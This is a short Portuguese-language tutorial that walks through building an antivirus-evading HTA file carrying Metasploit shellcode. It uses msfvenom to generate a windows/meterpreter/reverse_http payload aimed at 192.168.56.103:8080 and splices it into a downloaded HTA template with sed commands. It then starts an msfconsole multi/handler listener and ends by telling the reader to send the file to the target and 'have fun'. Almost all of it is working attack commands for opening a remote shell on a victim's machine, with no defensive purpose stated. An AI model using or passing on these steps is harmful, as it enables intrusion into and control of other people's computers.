[100% clean] Bypass Av's - Reverse tcp - Shellcode Execution Via HTA

1 - Salve o codigo (Reve_HTTP_Excel.hta) do github em:  https://gist.github.com/subTee/e126c6ee847a4d9fcfd7 com o nome RevTcp.hta

• shellcode Execution Via HTA 
• Autor: Smith @subTee

2 -  Acesse sua are de trabalho e crie um pasta, comando:

• mkdir novaPasta && cd novaPasta

3  - Gere uma ShellCode, Comando:

• msfvenom --payload windows/meterpreter/reverse_http LHOST=192.168.56.103 LPORT=8080 --format vba > msf.txt

4 - Abra o codigo msf.txt com o gedit ou leafpad e remova as linhas

• Remova a linha de 1 ate 10 e salve o arquivo

5 - Vamos adicionar algums codigo com o sed, Comando:

• sed "s/^/strCode += '/" msf.txt > novoMsf.txt 
• sed "s/$\\\\n'/" novoMsf.txt > novoMsf_3.txt

6 - Abra o codigo  novoMsf_3.txt com o gedit o leafpad e copie o codigo todo
7 - Abra o codigo RevTcp.hta e remova as linha

• Remova a linhas de 33 ate 70

8 - Na linha 33 que esta em branco cole o codigo copiado de novoMsf_3.txt e faça uma tabulação no codig pra da uma organizada :)
9 - Na linha 33 procure a palavra Sub Auto_Open() copie esse nome e cole na linha 72 onde voce emcontra a palavra ExecShell, faça a subistituição e salve o seu arquivo
10 - abra o seu msfconsole, Comando:

• 
  msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_http;set LPORT 8080;set LHOST 192.168.56.103;set ExitOnSession false; exploit -j"

11 -  Envie o seu RevTcp.hta para o destino e divirta-se

Video: